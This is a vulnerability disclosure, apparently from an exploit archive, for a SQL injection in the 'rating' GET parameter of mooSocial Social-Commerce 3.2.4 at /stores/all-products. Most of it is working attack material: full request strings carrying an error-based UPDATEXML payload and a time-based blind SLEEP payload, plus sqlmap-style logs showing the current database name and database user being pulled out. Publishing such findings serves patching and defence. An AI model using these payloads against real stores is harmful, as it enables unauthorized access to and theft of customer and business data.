moosocial Social-Commerce 3.2.4 SQL Injection

# Exploit Title: moosocial Social-Commerce 3.2.4 - SQL Injection time-based blind
# Exploit Author: CraCkEr
# Date: 26/08/2026
# Vendor: mooSocial
# Vendor Homepage: https://moosocial.com/
# Software Link: https://social-commerce.moosocial.com/
# Tested on: Windows 11 Pro
# Impact: Database Access
# CVE: CVE-2026-105149
# VDB: VDB-413374
# CWE: CWE-89

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.


Path: /stores/all-products

GET parameter 'rating' is vulnerable to SQLI

https://website/stores/all-products?store_id=&keyword=p&filter_type%5B%5D=regular&price_from=11&price_to=22&rating=[SQL Injection]&filter_featured=1&store_category_id=&sortby=most_recent


## PoC:


[+] current database

---
Parameter: rating (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
    Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=UPDATEXML(0,CONCAT(0x7e,0x72306f746833783439,0x7e),0)&filter_featured=1&store_category_id=&sortby=most_recent

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&filter_featured=1&store_category_id=&sortby=most_recent
---
[10:06:19] [INFO] testing MySQL
[10:06:19] [INFO] confirming MySQL
[10:06:19] [INFO] the back-end DBMS is MySQL
[10:06:19] [INFO] fetching current database
[10:06:21] [INFO] retrieved: 'ecommerce_moosocial'
current database: '***_***'



[+] current user

---
Parameter: rating (GET)
    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)
    Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=UPDATEXML(0,CONCAT(0x7e,0x72306f746833783439,0x7e),0)&filter_featured=1&store_category_id=&sortby=most_recent

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: store_id=&keyword=p&filter_type[]=regular&price_from=11&price_to=22&rating=(SELECT(0)FROM(SELECT(SLEEP(7)))a)&filter_featured=1&store_category_id=&sortby=most_recent
---
[10:20:57] [INFO] testing MySQL
[10:20:57] [INFO] confirming MySQL
[10:20:57] [INFO] the back-end DBMS is MySQL
[10:20:57] [INFO] fetching current user
[10:21:15] [INFO] retrieving the length of query output
[10:21:28] [INFO] retrieved: 21 
[10:30:28] [INFO] retrieved: 'ecommerce_moosocial@%'
current user: '***_***l@%'


[-] Done